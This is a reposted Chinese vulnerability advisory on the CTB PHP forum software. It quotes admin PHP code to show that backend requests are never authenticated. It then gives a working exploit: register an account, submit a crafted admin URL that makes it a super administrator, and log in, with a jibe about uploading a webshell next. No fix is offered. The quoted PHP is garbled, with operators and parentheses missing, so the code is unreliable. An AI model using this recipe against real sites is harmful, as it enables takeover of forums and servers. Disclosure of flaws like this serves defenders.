漂亮但不安全的CTB

2016-02-19 11:07 2 1 收藏

下面图老师小编要向大家介绍下漂亮但不安全的CTB,看起来复杂实则是简单的,掌握好技巧就OK,喜欢就赶紧收藏起来吧!

【 tulaoshi.com - Web开发 】


Dedicated This Scrap To CaoJing 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码11cn.org;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb-set = $set; 
   $ctb-tplPath = "./templates"; 
   $ctb-input = $return; 
   $ctb-sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb-execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this-input['action']) { 
... 
case 'addSystemUser': 
               $this-addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this-inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this-file = "../".$this-set[dataPath]."/users/list.php"; 
   $systemLine = $this-select(4, $this-input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

来源:https://www.tulaoshi.com/n/20160219/1596594.html

延伸阅读
标签: SQLServer
  在一般的多用户应用系统中,只有拥有正确的用户名和密码的用户才能进入该系统。我们通常需要编写用户登录窗口来控制用户使用该系统,这里以Visual Basic+ADO为例: 一、漏洞的产生 用于登录的表 Users(name,pwd) 建立一个窗体Frmlogin,其上有两个文本框Text1,Text2和两个命令按钮cmdok,cmdexit。两个文本框...
标签: ASP
  很多公司使用以下这两个步骤为它们基于 Windows 2000 的网络服务器来做组态:(1)安装 IIS 5.0、(2)不再理它。如果仅只于此的话,何不来个第三步骤:祈祷。 对于 IIS 5.0,Microsoft 针对安全性和可存取性/可用性(accessibility/usability)两方面做了很好的折衷,一般认为更倾向于后者。Data Return Corporation 的高级信息安全工...
蹭无线不安全,160WiFi开启热点更安全 近日,频频曝光,不少不法份子利用免费wifi盗取用户银行、支付宝等账号信息,骗取数万元存款。 据介绍,利用WiFi窃取他人信息,主要有三种手段: 手段1以假当真:把正当网站的地址绑架到自己的假网站上。使用者输入的网址虽然没错,但登录的却是一个仿真度极高的假网站。 手段2半路拦...
标签: ASP
  你的Windows 2000 /Internet Information Server (IIS) 5.0 Web 网站已经架设起来,准备开始运作时,却发现它被安全漏洞所困扰着。安全性方面的漏洞当然可以弥补,但那要看你如何去应对。如果怀有恶意的骇客还没有找到那些看不见的裂缝,这并不意味着你可以高枕无忧。他们可能只是还没有发现到你的网站而已。 那么,这套最先进的操作...
标签: MySQL mysql数据库
  受影响系统: MySQL AB MySQL 4.1.0-alpha MySQL AB MySQL 4.1.0 MySQL AB MySQL 4.0.9 MySQL AB MySQL 4.0.8 MySQL AB MySQL 4.0.7 MySQL AB MySQL 4.0.6 MySQL AB MySQL 4.0.5a MySQL AB MySQL 4.0.5 MySQL AB MySQL 4.0.4 MySQL AB MySQL 4.0.3 MySQL AB MySQL 4.0.2 MySQL AB MySQL 4.0.15 MySQL AB MySQL 4.0.14 MySQL AB My...

经验教程

276

收藏

38
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部